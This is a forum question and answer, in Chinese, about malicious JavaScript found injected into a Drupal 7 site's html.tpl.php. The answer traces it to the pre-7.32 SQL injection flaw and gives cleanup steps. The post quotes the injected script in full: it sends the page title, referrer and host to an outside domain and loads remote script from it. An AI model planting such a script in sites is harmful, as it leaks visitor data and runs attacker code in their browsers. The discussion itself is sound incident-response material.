恶意代码注入Drupal 7网站(html.tpl.php)



最近我的Drupal网站卡在了7.23。我基本上必须回到过去,恢复旧的数据库,然后复制/粘贴 HTML 以获得当前站点的干净版本。不幸的是,即使在经历了所有这些之后,今天我正在检查我的网站,当我加载管理仪表板时,我在浏览器的左下角看到了一个尴尬的 URL。网址为"nla98.it"。所以我使用 Sublime 文本在文件中运行了一个查找,并找到了以下代码,我绝对没有将其插入到我的模块/system/html.tpl.php中:

<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>

显然,这是某种执行代码的脚本。但我的问题是,这是如何将它注入我的网站的?我正在运行Drupal 7,升级到7.41,并且多次运行更新脚本和cron。我正在运行的脚本是:

jquery.js?v=1.12.0 
jquery.once.js?v=1.2 
drupal.js 
jquery.cookie.js?v=1.0 
textarea.js?v=7.41 
jquery-ui-1.8.23.custom.min.js 
gumby.js 
modernizr-2.0.6.min.js 
mobile-menu.js 
jquery.ui.totop.js 
easing.js 
plugins.js 
jquery.tweet.js 
main.js 
montreal.js 
supersized.js 
gen_validatorv31.js 
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js

这可能是我正在使用的过时JS之一中的漏洞利用吗?我使用的模板是蒙特利尔(有点旧)。

感谢您的想法。

在 Drupal 中存在一个非常严重的漏洞,直到 7.32 版(登录时注入 sql)。你基本上可以做任何事情:以超级管理员身份登录,然后执行php代码/上传文件(带菜单)/创建帐户/...我怀疑你的问题来自过时的js库。那么升级核心后可以做什么:

  • 检查是否存在额外文件
  • 选中未创建任何额外帐户。
  • 检查是否引用了额外的菜单链接
  • 检查
  • 您的自定义文件(模块/主题/...)是否与您的版本副本相同(如果您有),否则您最好手动检查所有代码。
  • 检查 php 执行是否被禁用
  • 交叉手指没有更多受到影响(如果他可以在您的服务器上使用 exec() 执行命令,则没有限制......

更快但激进的解决方案(也是唯一一个100%安全的解决方案):擦除服务器重新安装它,从版本控制软件(git,svn,...)复制旧的base和drupal文件,并将core升级到7.41。

下次,尝试更频繁地升级您的 drupal 核心,这个漏洞在已知后几乎立即得到修复,大多数被攻击的站点等待太长时间才更新核心。

最新更新